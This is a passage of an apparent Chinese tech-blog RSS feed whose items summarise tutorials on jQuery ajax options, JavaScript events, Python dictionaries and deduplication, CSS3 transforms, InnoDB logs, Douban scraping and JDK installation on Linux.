要求为String类型的参数，预期服务器返回的数据类型。如果不指定，JQuery将自动根据http包mime信息返回responseXML或responseText，并作为回调函数参数传递。可用的类型如下：&#xA;xml：返回XML文档，可用JQuery处理。&#xA;html：返回纯文本HTML信息；包含的script标签会在插入DOM时执行。&#xA;script：返回纯文本JavaScript代码。不会自动缓存结果。除非设置了cache参数。注意在远程请求时（不在同一个域下），所有post请求都将转为get请求。&#xA;json：返回JSON数据。&#xA;jsonp：JSONP格式。使用SONP形式调用函数时，例如myurl?callback=?，JQuery将自动替换后一个“?”为正确的函数名，以执行回调函数。&#xA;text：返回纯文本字符串。&#xA;8.beforeSend：&#xA;要求为Function类型的参数，发送请求前可以修改XMLHttpRequest对象的函数，例如添加自定义HTTP头。在beforeSend中如果返回false可以取消本次ajax请求。XMLHttpRequest对象是惟一的参数。&#xA;function(XMLHttpRequest){&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;9.complete：&#xA;要求为Function类型的参数，请求完成后调用的回调函数（请求成功或失败时均调用）。参数：XMLHttpRequest对象和一个描述成功请求类型的字符串。&#xA;function(XMLHttpRequest, textStatus){&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;10.success：要求为Function类型的参数，请求成功后调用的回调函数，有两个参数。&#xA;(1)由服务器返回，并根据dataType参数进行处理后的数据。&#xA;(2)描述状态的字符串。&#xA;function(data, textStatus){&#xA;//data可能是xmlDoc、jsonObj、html、text等等&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;11.error:&#xA;要求为Function类型的参数，请求失败时被调用的函数。该函数有3个参数，即XMLHttpRequest对象、错误信息、捕获的错误对象(可选)。ajax事件函数如下：&#xA;function(XMLHttpRequest, textStatus, errorThrown){&#xA;//通常情况下textStatus和errorThrown只有其中一个包含信息&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;12.contentType：&#xA;要求为String类型的参数，当发送信息至服务器时，内容编码类型默认为&#34;application/x-www-form-urlencoded&#34;。该默认值适合大多数应用场合。&#xA;13.dataFilter：&#xA;要求为Function类型的参数，给Ajax返回的原始数据进行预处理的函数。提供data和type两个参数。data是Ajax返回的原始数据，type是调用jQuery.ajax时提供的dataType参数。函数返回的值将由jQuery进一步处理。&#xA;function(data, type){&#xA;//返回处理后的数据&#xA;return data;&#xA;}&#xA;15.global：&#xA;要求为Boolean类型的参数，默认为true。表示是否触发全局ajax事件。设置为false将不会触发全局ajax事件，ajaxStart或ajaxStop可用于控制各种ajax事件。&#xA;16.ifModified：&#xA;要求为Boolean类型的参数，默认为false。仅在服务器数据改变时获取新数据。服务器数据改变判断的依据是Last-Modified头信息。默认值是false，即忽略头信息。&#xA;17.jsonp：&#xA;要求为String类型的参数，在一个jsonp请求中重写回调函数的名字。该值用来替代在&#34;callback=?&#34;这种GET或POST请求中URL参数里的&#34;callback&#34;部分，例如{jsonp:&#39;onJsonPLoad&#39;}会导致将&#34;onJsonPLoad=?&#34;传给服务器。&#xA;18.username：</description>
    </item>
    <item>
      <title>js/jq——事件触发方式   事件冒泡捕获  阻止冒泡和默认事件</title>
      <link>https://bchobby.github.io/posts/ac5182e519f8cf5e728021a49be8af6d/</link>
      <pubDate>Sun, 26 Aug 2018 11:53:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac5182e519f8cf5e728021a49be8af6d/</guid>
      <description>js&#xA;1、标签（不推荐，要将script放在页面最后且不能onload）&#xA;&amp;lt;body&amp;gt; &amp;lt;button onclick=&#34;clickEvent()&#34;&amp;gt;click&amp;lt;/button&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;script&amp;gt; function clickEvent() { alert(&#39;hello world!&#39;); } &amp;lt;/script&amp;gt; 2、函数赋值&#xA;&amp;lt;body&amp;gt; &amp;lt;button id=&#34;btn&#34;&amp;gt;click&amp;lt;/button&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;script&amp;gt; window.onload=function(){ var btn=document.getElementById(&#39;btn&#39;); // btn.onclick = function(){ // clickEvent() // }; // function clickEvent() { // alert(&#39;hello world&#39;); // } btn.onclick=function(){ alert(&#39;hello world&#39;); }; } &amp;lt;/script&amp;gt; 3、事件监听（ 传入的是函数 不是函数值 ）&#xA;&amp;lt;body&amp;gt; &amp;lt;button id=&#34;btn&#34;&amp;gt;click&amp;lt;/button&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;script&amp;gt; window.onload=function(){ var btn=document.getElementById(&#39;btn&#39;); btn.addEventListener(&#39;click&#39;,function(){ alert(&#39;hello world!&#39;); }) } &amp;lt;/script&amp;gt; 移除addEventListener添加的事件：&#xA;ele.removeEventListener(&#39;click&#39;,myFunction); addEventListener方法特点：&#xA;1、同一事件多个句柄（不会覆盖已存在事件）&#xA;ele.addEventListener(&#34;click&#34;, myFunction); ele.</description>
    </item>
    <item>
      <title>matlab 绘制圆锥螺旋线</title>
      <link>https://bchobby.github.io/posts/97f6cf727ca49e7803fd49a9d905442a/</link>
      <pubDate>Sat, 25 Aug 2018 20:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97f6cf727ca49e7803fd49a9d905442a/</guid>
      <description>v=20; t=[0:0.01*pi:50*pi]; alpha=pi/6; omega=pi/6; x=v*sin(alpha)*t.*cos(omega*t); y=v*sin(alpha)*t.*sin(omega*t); z=v*cos(alpha)*t; plot3(x,y,z,&#39;r&#39;,&#39;linewidth&#39;,2) grid on 转载于:https://www.cnblogs.com/Airboy1/p/9535283.html</description>
    </item>
    <item>
      <title>使用stylus编写bg-image（）实现网页图标自适应dpr数值来识别2x图或者3x图</title>
      <link>https://bchobby.github.io/posts/fd8afdfd89448dc305622a204f826909/</link>
      <pubDate>Sat, 25 Aug 2018 13:35:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd8afdfd89448dc305622a204f826909/</guid>
      <description> mixin.styl：&#xA;bg-image($url)//默认2x图，dpr为3则使用3x图 background-image: url($url+&#34;@2x.png&#34;) @media (-webkit-min-device-pixel-ratio: 3),(-min-device-pixel-ratio: 3) background-image: url($url+&#34;@3x.png&#34;) header.vue:&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;title&#34;&amp;gt; &amp;lt;span class=&#34;brand&#34;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;name&#34;&amp;gt;{{seller.name}}&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;style lang=&#39;stylus&#39;&amp;gt; @import &#39;../../common/stylus/mixin.styl&#39;//使用前需要导入 ... .title margin: 2px 0 8px 0 .brand display: inline-block vertical-align: top width: 30px height: 18px bg-image(&#39;brand&#39;) background-size: 30px 18px background-repeat: no-repeat .name margin-left: 6px font-size: 16px font-weight: bold line-height: 18px &amp;lt;/style&amp;gt; </description>
    </item>
    <item>
      <title>python中字典的key要求</title>
      <link>https://bchobby.github.io/posts/4ef05bd6715b99bc6b6900da9cdbd10f/</link>
      <pubDate>Fri, 24 Aug 2018 21:47:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ef05bd6715b99bc6b6900da9cdbd10f/</guid>
      <description>前记&#xA;python中什么对象不能作为字典的key：有__hash__方法可以做字典的key，没有则不能作为字典的key;&#xA;除了list、dict、set和内部至少带有上述三种类型之一的tuple之外，其余对象均可作为字典的key；&#xA;一、list做key示例：&#xA;a = [1,2,3]&#xA;d = {a:a}&#xA;报错：&#xA;TypeError: unhashable type: &#39;list&#39;&#xA;报错信息，list类型不可哈希；&#xA;查看源码object对象定义了__hash__方法，list、set、dict把__hash__赋值为None；&#xA;通过help(list/set/dict)也可看到__hash__赋值为None;&#xA;# 部分源码&#xA;class object:&#xA;&#34;&#34;&#34; The most base type &#34;&#34;&#34;&#xA;def __hash__(self, *args, **kwargs): # real signature unknown&#xA;&#34;&#34;&#34; Return hash(self). &#34;&#34;&#34;&#xA;pass&#xA;class list(object):&#xA;__hash__ = None&#xA;class set(object):&#xA;__hash__ = None&#xA;class dict(object):&#xA;__hash__ = None&#xA;二、实验&#xA;修改__hash__方法；&#xA;class Mylist(list):&#xA;def __hash__(self):&#xA;return hash(self[0])&#xA;l1=Mylist([1,2])&#xA;d={l1:&#34;can？&#34;}&#xA;print(d)&#xA;l1.append(3)&#xA;print(d)</description>
    </item>
    <item>
      <title>Python环境搭建（一）</title>
      <link>https://bchobby.github.io/posts/c54d450a553da513729cec4e95134135/</link>
      <pubDate>Fri, 24 Aug 2018 18:11:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c54d450a553da513729cec4e95134135/</guid>
      <description>今天，我们主要来聊聊Python开发环境的搭建。在程序猿的世界里，最痛苦的事情一般来说都不是敲代码本身，而是各种环境的搭建。今天我们要讨论的第一个主题就是Python开发环境的搭建。环境搭建分为两个部分，一部分是Python的安装，另一部分是开发工具（IDE）的选择及安装。&#xA;首先，咱们来说说第一部分：Python的安装。打开你的网页浏览器，在地址栏输入www.python.org，你将会看到一个纯英文的网站。如下图所示：&#xA;不要怕，一切尽在掌握，本猿来慢慢教你。点击Downloads 下面的 &#34;All releases&#34; 点击后会跳转到下载页面，下面的步骤要注意啦，关于Python版本的选择。&#xA;Python目前有两个大版本Python2和Python3。Python2系列中目前更新比较稳定的是Python2.7，Python3系列也在持续更新，相比Python2有一个较大的升级，且没有考虑向下兼容的问题，这里面一般来说可以跟随官方最新的小版本，在本猿写这篇文章时Python2的最新版是Python2.7.13，Python3的最新版是3.7.0，本猿常用的版本是2.7和3.6。&#xA;在这里新来的朋友就要问啦，你这有两个版本我们学习哪个呢？其实两个大版本之间的区别不是特别大，至于学习哪个版本，本猿推荐入门的朋友直接选择最新的Python3.x系列，小版本就比较随意啦，咱们就指定一个版本，免得选择困难症的出现，Python 3.6.6。点击下图中的 &#34;Download&#34; 按钮。&#xA;网页跳转后不要犹豫，直接往最下面拉。看到下面的表格以后咱们只关注红色框内的内容&#xA;Windos x86-64 executable installer 这个是64位Windows系统的安装包，Windows x86 executable installer这个是32位Windows系统的安装包。下面问题来了，怎么查看自己电脑操作系统是多少位的呢？进入自己的电脑桌面，右键点击“我的电脑”---“属性”，查看下图中的内容：&#xA;好了，这里咱们就知道自己的操作系统类型了。点击对应的下载链接即可下载自己需要的版本哦。如果下载速度太慢的话就用迅雷下吧！&#xA;下载完成后，双击我们下载好的安装包，可以看到如下界面：&#xA;选中上图中指示的&#34;Add python 3.6 to PATH&#34;（这点很重要），然后点击箭头2所示的位置“Customize installation”，就可以看到如下界面&#xA;这一页默认，直接点击&#34;Next&#34;按钮&#xA;在这个页面上，点选箭头1所示的框框，点击箭头2所示的按钮，选择你要安装Python的路径，笔者在这里选了C盘下的Python3.6文件夹，然后点击箭头3所示的Install 按钮，中间如果弹出什么窗口需要确认，那就允许吧！这时候咱们要做的事情就是等待程序安装完成啦~~~等程序运行完成后点击Close就可以啦！&#xA;如果到这里，那么恭喜你，你的Python已经安装完成啦。&#xA;下面我们来测试一下是否安装成功了。按下键盘上的Win键+R键，在弹出的运行框内输入“cmd”，如下图所示：&#xA;点击确定后，会弹出一个命令行窗口。这个界面下输入python,如下图所示：&#xA;敲回车键后，如果看到如下界面，那么恭喜你，你的环境已经搭建成功啦！&#xA;如果你看到的是如下界面&#xA;那么说明你在执行前面步骤的时候少勾选了红色字体标示的那个框框。本质上是你少配置了环境变量。关于这个问题，本猿会在下一篇文章中来提出解决方案。&#xA;好了，关于Python环境搭建的第一部分就聊到这里啦，我们将在接下来的一篇文章中讲述Python环境搭建的第二部分：编程工具篇。&#xA;如果觉得本文可以帮到你，欢迎关注哦~&#xA;长按关注哦~</description>
    </item>
    <item>
      <title>Python常用的几种去重方式</title>
      <link>https://bchobby.github.io/posts/f48de58039f4fabe40eb0b9068b0d985/</link>
      <pubDate>Fri, 24 Aug 2018 16:53:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f48de58039f4fabe40eb0b9068b0d985/</guid>
      <description>由于Python的去重方式比较多，本人在项目中总结了几种常用方法，欢迎补充。 一、对列表去重 1.用循环查找的方式 li = [1,2,3,3,4,2,3,4,5,6,1]&#xA;news_li = []&#xA;for i in li:&#xA;if i not in news_li:&#xA;news_li.append(i)&#xA;print (news_li)&#xA;2.用集合的特性set() li1 = [1,4,3,3,4,2,3,4,5,6,1]&#xA;new_li1 = list(set(li1))&#xA;3.使用itertools模块的grouby方法 import itertools&#xA;li2 = [1,4,3,3,4,2,3,4,5,6,1]&#xA;li2.sort() # 排序&#xA;it = itertools.groupby(li2)&#xA;for k, g in it:&#xA;print (k)&#xA;4.运用while循环遍历的方式 def quchong(lb):&#xA;for x in lb:&#xA;while lb.count(x)&amp;gt;1:&#xA;del lb[lb.index(x)]&#xA;return lb&#xA;li3 = [1,4,3,3,4,2,3,4,5,6,1]&#xA;quchong(li3)&#xA;5.使用keys()方式 li4 = [1,0,3,7,7,5]&#xA;formatli = list({}.</description>
    </item>
    <item>
      <title>简历项目经验模板</title>
      <link>https://bchobby.github.io/posts/73841ac983c16f9783ea63cdc1b80dd3/</link>
      <pubDate>Fri, 24 Aug 2018 15:03:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73841ac983c16f9783ea63cdc1b80dd3/</guid>
      <description>项 目 经 验&#xA;项目一 客户关系管理系统(CRM)&#xA;项目描述&#xA;整个项目是基于B/S模式，应用Struts Spring Hibernate DWR和ExtJS五个框架实现了一个绚丽的客户关系管理系统。分为View层（显示层）、Control层（控制层）、Service层（业务逻辑层）、DAO层（数据库访问对象层）。利用Spring的依赖注入和面向切面特性，hibernate的数据持久化技术、Struts的控制器、ExtJS用于View层实现了用户权限管理、日程安排、客户关系管理、销售管理、档案管理、统计数据、商务联系管理等模块。&#xA;责任描述&#xA;在项目中作为组长，规划整个项目的需求分析，系统数据库设计，分配其他几位组员的模块，使每人在项目中各尽其职。在项目期间，充分发挥我的特长，耐心的和组员讨论项目中所遇到的问题，并在短时间内解决问题。我负责的是客户和潜在客户模块，&#xA;这两个模块主要用的ExtJS来实现用户界面，使Ajax和SSH的结合得到淋漓尽致的体现。最后负责各个模块的整合和测试。&#xA;项目总结&#xA;团队合作，使个人在团队合作能力、沟通能力、协调能力、技术方面都得到了很大的提高，同时能很好的为整个团队提出建议和自己的想法，能很好的协调好整个团队，团队之间的合作很愉快。&#xA;开发工具及技术&#xA;Windows XP professional、JDK1.5、MyEclipse6.5、Tomcat6.0、SQLServer2000、Struts1.2.9、Spring2.5.5、Hibernate3.3、Ext js2.0、DWR2.0&#xA;项目二 某房屋出租中介公司租房管理系统&#xA;项目描述&#xA;租房管理系统是B/S模式，该系统采用Struts Spring Hibernate框架整合应用同时加入DWR框架的应用，严格按照MVC的标准，实现了View层（显示层）、Control层（控制层）、Service层（业务逻辑层）、DAO层（数据库访问对象层）的多层架构。利用JSP作为显示层、Action作为控制层、Service层和DAO层处理业务逻辑。DTO、POJO作为传值组件。整个项目通过Spring的Ioc技术实现组件之间的依赖关系注入，View层通过采用javascript进行简单表单验证，利用struts标签，hibernate数据持久化技术,实现了用户登录注册、发布租房信息(登录的用户)、 编辑房屋信息(此房屋信息的发布者)、删除房屋信息(此房屋信息的发布者)、多条件查询房屋信息(一般查询和高级搜索)、用户权限管理等功能。&#xA;责任描述&#xA;独立完成项目的整个开发。体验到SSH框架应用的妙处和MVC思想在软件开发中的好处。&#xA;项目总结&#xA;能够安全高效的处理用户的所有功能需求，并巩固了自己的技术。&#xA;开发工具及技术&#xA;Windows XP professional、JDK1.5、MyEclipse6.5、Tomcat6.0、SQLServer2000、Struts1.2.9、Spring2.5.5、Hibernate3.3、DWR2.0&#xA;项目三 在线考试系统&#xA;项目描述&#xA;在线考试系统是为了提高考试效率，规范考试流程而设计的。系统是B/S模式，分为题型管理、题库管理、试卷管理、考试管理、阅卷管理、员工管理、在线考试（随机出题）、成绩查询等模块。其根据MVC设计思想，手写配置文件、解析配置文件，利用HTML、JSP作为View层，DTO作为传值组件，利用Action作为控制器，应用SQL Sever 2000作为数据库。满足用户需求同时，完成了分页、多条件查询、人阅和机阅的试卷等功能。&#xA;责任描述&#xA;在该项目中担当项目组长职责，负责需求分析和数据库设计，分配其他组员的任务，融洽团队的气氛，并把一些好的想法向团队提出一起讨论，最后完成两个模块的程序，和其他组员一起解决遇到的困难。&#xA;项目总结&#xA;能够安全高效的处理用户的所有功能需求。团队开发，充分发挥开发优势，感受到集体的力量，更加巩固了自己的技术。&#xA;开发工具&#xA;Windows XP professional、JDK1.5，Eclipse3.2.GA、Tomcat5.5、SQLServer2000。&#xA;项目四 人力资源管理系统(HRMS)&#xA;项目描述&#xA;本人力资源管理系统主要是为了方便企业筛选和储备人才，合理利用人力资源而设计。系统基于B/S模式，采用自己手写的MVC框架。从功能上分为简历管理，渠道管理，项目管理，系统管理，数据统计五个大模块。其中简历管理尤为重要，该模块采用了工作流的方式，从简历录入到初选，复选，再到人才的预约和面试，到最后的入职。真实地反映了企业吸纳人才的整个过程。我在项目中担任核心成员，负责并完成了其中最复杂的简历管理模块。&#xA;责任描述&#xA;在项目中担任核心成员，负责并完成了其中最复杂的简历管理模块，并且协调各组员之间的关系，让大家在一个紧张而又活泼的环境下完成。&#xA;项目总结&#xA;在组队完成项目中，对实现项目所用到的一些框架、技术等都有了更深的理解，在团队合作上也很成功，跟组员相处融洽，从其他组员哪里也学到了很多知识。&#xA;开发工具&#xA;Windows XP professional、JDK1.5，Eclipse3.2.GA、Tomcat5.5、SQLServer2000。&#xA;项目五 MailServer邮件服务器&#xA;项目描述&#xA;该项目是有个人独立开发的项目该系统是基于SMTP协议和POP3协议的电子邮件收发服务器系统，通过严格遵循简单邮件传输协议和邮局协议管理来保证收发功能的正常运行。实现了邮件自发，转发，多发等功能，并通过OUTLOOK、FOXMAIL等邮件收发工具测试成功。负责收发邮件信息，其中可以发送、接收邮件，并可对每个客户的邮件进行分类整理，并且提供给客户暂时缓存的功能&#xA;责任描述&#xA;负责整个项目代码编写及调试。&#xA;项目总结</description>
    </item>
    <item>
      <title>unity简单实现RPG对话框</title>
      <link>https://bchobby.github.io/posts/f9cabe98cf323be9550397ddf6613a32/</link>
      <pubDate>Fri, 24 Aug 2018 10:26:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9cabe98cf323be9550397ddf6613a32/</guid>
      <description>老规矩废话不多说 直接上效果图可以支持多个选项&#xA;对话框的类结构&#xA;工程基于本人的GameFrame框架 主要逻辑如下&#xA;void ChangeScence() { Singleton&amp;lt;SceneManager&amp;gt;.GetInstance().LoadScene(&#34;Login&#34;, () =&amp;gt; { Singleton&amp;lt;WindowManager&amp;gt;.GetInstance().OpenWindow(&#34;Dialogue&#34;,true,true,new DialogueContent(&#34;dialoguedata.json&#34;,&#34;node1&#34;)); }); } UI框架的DialogueContent的类结构如下： 支持当前对话 的模型头像的一些支持 比如当前说话的角色头像模型变大之类的&#xA;public class DialogueContent : WindowContext { public string FileName ; public string StartNode; public Sprite LeftIcon; public GameObject LeftModel; public Sprite RightIcon; public GameObject RightModel; public int ShowType = 0;// 不显示 1 显示ICON 2 显示 MODEL public DialogueContent(string file,string node,Sprite lefticon = null ,Sprite righticon = null,GameObject leftmodle = null,GameObject rightmodel = null,int show = 0) { FileName = file; StartNode = node; LeftIcon = lefticon; RightIcon = righticon; LeftModel = leftmodle; RightModel = rightmodel; ShowType = show; } } //初始化按钮的监听事件 for (int i = 0; i &amp;lt; 4; i++) { Answers[i] = CacheTransform.</description>
    </item>
    <item>
      <title>爬虫系列(十) 用requests和xpath爬取豆瓣电影</title>
      <link>https://bchobby.github.io/posts/0a868ca778ede2b3afad4d601550c65f/</link>
      <pubDate>Thu, 23 Aug 2018 16:22:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a868ca778ede2b3afad4d601550c65f/</guid>
      <description>这篇文章我们将使用 requests 和 xpath 爬取豆瓣电影 Top250，下面先贴上最终的效果图：&#xA;1、网页分析 （1）分析 URL 规律 我们首先使用 Chrome 浏览器打开 豆瓣电影 Top250，很容易可以判断出网站是一个静态网页&#xA;然后我们分析网站的 URL 规律，以便于通过构造 URL 获取网站中所有网页的内容&#xA;首页：https://movie.douban.com/top250&#xA;第二页：https://movie.douban.com/top250?start=25&amp;amp;filter=&#xA;第三页：https://movie.douban.com/top250?start=50&amp;amp;filter=&#xA;…&#xA;不难发现，URL 可以泛化为 https://movie.douban.com/top250?start={page}&amp;amp;filter=，其中 page 代表页数&#xA;最后我们还要验证一下首页的 URL 是否也满足规律，经过验证，很容易可以发现首页的 URL 也满足上面的规律&#xA;核心代码如下：&#xA;import requests # 获取网页源代码 def get_page(url): # 构造请求头部 headers = { &#39;USER-AGENT&#39;:&#39;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36&#39; } # 发送请求，获得响应 response = requests.get(url=url,headers=headers) # 获得网页源代码 html = response.text # 返回网页源代码 return html （2）分析内容规律 接下来我们开始分析每一个网页的内容，并从中提取出需要的数据</description>
    </item>
    <item>
      <title>CSS3中的变形处理——transform功能（旋转、缩放、倾斜、移动）</title>
      <link>https://bchobby.github.io/posts/2ac36ab131995b1030022addf0cb589c/</link>
      <pubDate>Thu, 23 Aug 2018 14:52:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ac36ab131995b1030022addf0cb589c/</guid>
      <description>1 transform属性 在CSS3中，可以利用transform功能实现文字或图像的旋转、缩放、倾斜、移动这4中类型的变形处理。&#xA;（1）浏览器支持&#xA;到目前为止：Safari3.1以上、Chrome8以上、Firefox4以上、Opera10以上浏览器支持该属性。 2 旋转 使用rotate方法，在参数中加入角度值，角度值后面跟表示角度单位的“deg”文字即可，旋转方向为顺时针方向。&#xA;transform：rotate（45deg）；&#xA;3 缩放 使用scale方法来实现文字或图像的缩放处理，在参数中指定缩放倍率。&#xA;transform：scale（0.5）；//缩小一半&#xA;（1）可以分别指定元素的水平方向的放大倍率与垂直方向的放大倍率&#xA;transform：scale（0.5，2）；//水平方向缩小一半，垂直方向放大一倍。&#xA;4 倾斜 使用skew方法实现文字或图像的倾斜处理，在参数中分别指定水平方向上的倾斜角度与垂直方向上的倾斜角度。&#xA;transform：skew（30deg，30deg）；//水平方向上倾斜30度，垂直方向上倾斜30度。&#xA;（1）只使用一个参数，省略另一个参数&#xA;这种情况下视为只在水平方向上进行倾斜，垂直方向上不倾斜。&#xA;transform：skew（30deg）；&#xA;5 移动 使用translate方法来移动文字或图像，在参数中分别指定水平方向上的移动距离与垂直方向上的移动距离。&#xA;transform：translate（50px，50px）；// 水平方向上移动50px，垂直方向上移动50px&#xA;（1）只使用一个参数，省略另一个参数&#xA;这种情况下视为只在水平方向上移动，垂直方向上不移动。&#xA;transform：translate（50px）；&#xA;6 对一个元素使用多种变形的方法 transform：translate（150px，200px） rotate（45deg） scale（1.5）；&#xA;7 指定变形的基准点 在使用transform方法进行文字或图像变形的时候，是以元素的中心点为基准点进行变形的。&#xA;transform-origin属性 使用该属性，可以改变变形的基准点。&#xA;transform：rotate（45deg）；&#xA;transform-origin：left bottom；//把基准点修改为元素的左下角&#xA;（1）指定属性值&#xA;基准点在元素水平方向上的位置：left、center、right&#xA;基准点在元素垂直方向上的位置：top、center、bottom&#xA;8 3D变形功能 （1）旋转&#xA;分别使用rotateX方法、rotateY方法、rotateZ方法使元素围绕X轴、Y轴、Z轴旋转，在参数中加入角度值，角度值后面跟表示角度单位的deg文字即可，旋转方向为顺时针旋转。&#xA;transform：rotateX（45deg）；&#xA;transform：rotateY（45deg）；&#xA;transform：rotateZ（45deg）；&#xA;transform：rotateX（45deg） rotateY（45deg） rotateZ（45deg）；&#xA;transform：scale（0.5） rotateY（45deg） rotateZ（45deg）；&#xA;（2）缩放&#xA;分别使用scaleX方法、scaleY方法、scaleZ方法使元素按X轴、Y轴、Z轴进行缩放，在参数中指定缩放倍率。&#xA;transform：scaleX（0.5）；&#xA;transform：scaleY（1）；&#xA;transform：scaleZ（2）；&#xA;transform：scaleX（0.5）scaleY（1）；&#xA;transform：scale（0.5） rotateY（45deg）；&#xA;（3）倾斜&#xA;分别使用skewX方法、skewY方法使元素在X轴、Y轴上进行顺时针方向倾斜（无skewZ方法），在参数中指定倾斜的角度</description>
    </item>
    <item>
      <title>URL请求流程图</title>
      <link>https://bchobby.github.io/posts/4e178be2a6a13f9d6705ae392c306098/</link>
      <pubDate>Thu, 23 Aug 2018 12:22:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e178be2a6a13f9d6705ae392c306098/</guid>
      <description> url请求流程图：&#xA;输入url请求地址 通过DNS服务查询目标IP 浏览器发送请求 浏览器与服务器完成三次握手，建立链接 socket作为网络通信的基本操作单元，负责完成数据传输 浏览器发送http请求 服务器处理http请求，并返回http响应 浏览器解析渲染html页面，转换成人类易懂内容 浏览器与服务器完成四次挥手，断开链接 </description>
    </item>
    <item>
      <title>InnoDB  redo &amp; undo</title>
      <link>https://bchobby.github.io/posts/4cbd9fdac6c887a44a0246a2f0d8c557/</link>
      <pubDate>Wed, 22 Aug 2018 21:42:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cbd9fdac6c887a44a0246a2f0d8c557/</guid>
      <description>前记&#xA;事务隔离性由锁实现；原子性、一致性、持久性由数据库redo log和undo log完成。redo log重做日志，保证事务原子性和持久性，undo log保证事务一致性；redo和undo都可视为一种恢复操作，redo恢复提交事务修改的页操作，undo回滚行记录到某个特定版本；redo是物理日志，记录的是页的物理操作，undo是逻辑日志，根据每行记录进行记录；redo log基本是顺序写，数据库运行时不需要对redo log file进行读取操作，undo log需要随机读写；InnoDB存储引擎启动时，不管上次数据库是否正常关闭，都会尝试进行恢复操作。redo log记录的是物理日志，恢复速度比逻辑日志快； redo&#xA;实现事务的持久性。由两部分组成，内存中重做日志缓存redo log buffer,易失；重做日志文件redo log file,持久的；通过Force Log at Commit机制实现事务的持久性，即事务提交commit时，需将该事务所有日志写入到redo log file进行持久化，待事务commit操作完成才算完成；每次将redo log buffer写入redo log file,InnoDB调用一次fsync操作；innodb_flush_log_at_trx_commit参数控制redo log刷新到磁盘的策略； 1：事务提交时必须调用一次fsync；&#xA;0：事务提交时不进行写入redo log操作，该操作仅在master thread中完成，master thread中每1秒进行一次redo log file的fsync操作；&#xA;2：事务提交时将redo log写入redo log file,但仅写入文件系统的缓存中，不进行fsync；&#xA;redo log vs binlog redo log是在InnoDB层，binlog是MySQL数据库上层产生；binlog是逻辑日志，记录的是对于的SQL语句；redo log是物理日志，记录的是对每个页的修改；binlog在事务commit完成后进行一次写入；redo log在事务中不断的被写入，不是随事务提交顺序写入的； log block&#xA;Innodb中，redo log以512字节存储的，即redo log buffer、redo log file都是以block方式保存，称为redo log block，大小为512字节；redo log block=log block header(12字节) + log body(492字节) + log tailer(8字节)；redo log格式InnoDB引擎的存储管理基于页，所以redo log格式也是基于页；格式=redo_log_type + space + page_no + redo log body; redo_log_type:redo log的类型；</description>
    </item>
    <item>
      <title>一、linux环境下下载并安装jdk1.8</title>
      <link>https://bchobby.github.io/posts/ec29059d910907c362c34d63078adecd/</link>
      <pubDate>Wed, 22 Aug 2018 15:35:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec29059d910907c362c34d63078adecd/</guid>
      <description>一、默认安装包已上传到虚拟机 默认上传解压过了 /opt/module/jdk1.8.0_144 这种只需要修改配置&#xA;1.编辑配置文件 [root@hadoop102 jdk1.8.0_144]# vim /etc/profile 2.尾部添加内容 export JAVA_HOME=/opt/module/jdk1.8.0_144 export PATH=$PATH:$JAVA_HOME/bin 3.source 文件 [root@hadoop102 jdk1.8.0_144]# source /etc/profile 4.测试 [root@hadoop102 jdk1.8.0_144]#java 二、linux环境下下载并安装jdk1.8 环境&#xA;​ Oracle VM VirtualBox、centOs7&#xA;1、下载安装包，需要在虚拟机能链接外网的情况下，否则需要自己上传安装包&#xA;1.下载命令 wget --no-check-certificate --no-cookies --header &#34;Cookie: oraclelicense=accept-securebackup-cookie&#34; http://download.oracle.com/otn-pub/java/jdk/8u181-b13/96a7b8442fe848ef90c96a2fad6ed6d1/jdk-8u181-linux-x64.tar.gz 2.有可能虚拟机没有安装 wget包，无法执行此命令，则需要先下载wget包 方式一： yum -y install wget 方式二：有可能没有 yum安装包 rpm ivh wget-1.12-1.4.el6.x86_64.rpm 3.开始下载 2、开始安装，自己上传的安装包也是一样的安装方式&#xA;2.1 解压命令：tar zxvf 安装包名称 2.2 进入解压后文件夹，获取路径用户配置环境 获取当前路径：pwd 2.3.1 查看未配置前的情况，确定未安装jdk java -version 2.3.2确定未安装，vi 编辑 /etc/profile 文件配置环境 方式一： JAVA_HOME=/usr/java/jdk1.8.0_25 JRE_HOME=/usr/java/jdk1.</description>
    </item>
    <item>
      <title>2018药品目录匹配_本位码_众联社本位码匹配工具2018版破解版</title>
      <link>https://bchobby.github.io/posts/947357cd54a06749368f0ed4900c3fa4/</link>
      <pubDate>Tue, 21 Aug 2018 13:55:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/947357cd54a06749368f0ed4900c3fa4/</guid>
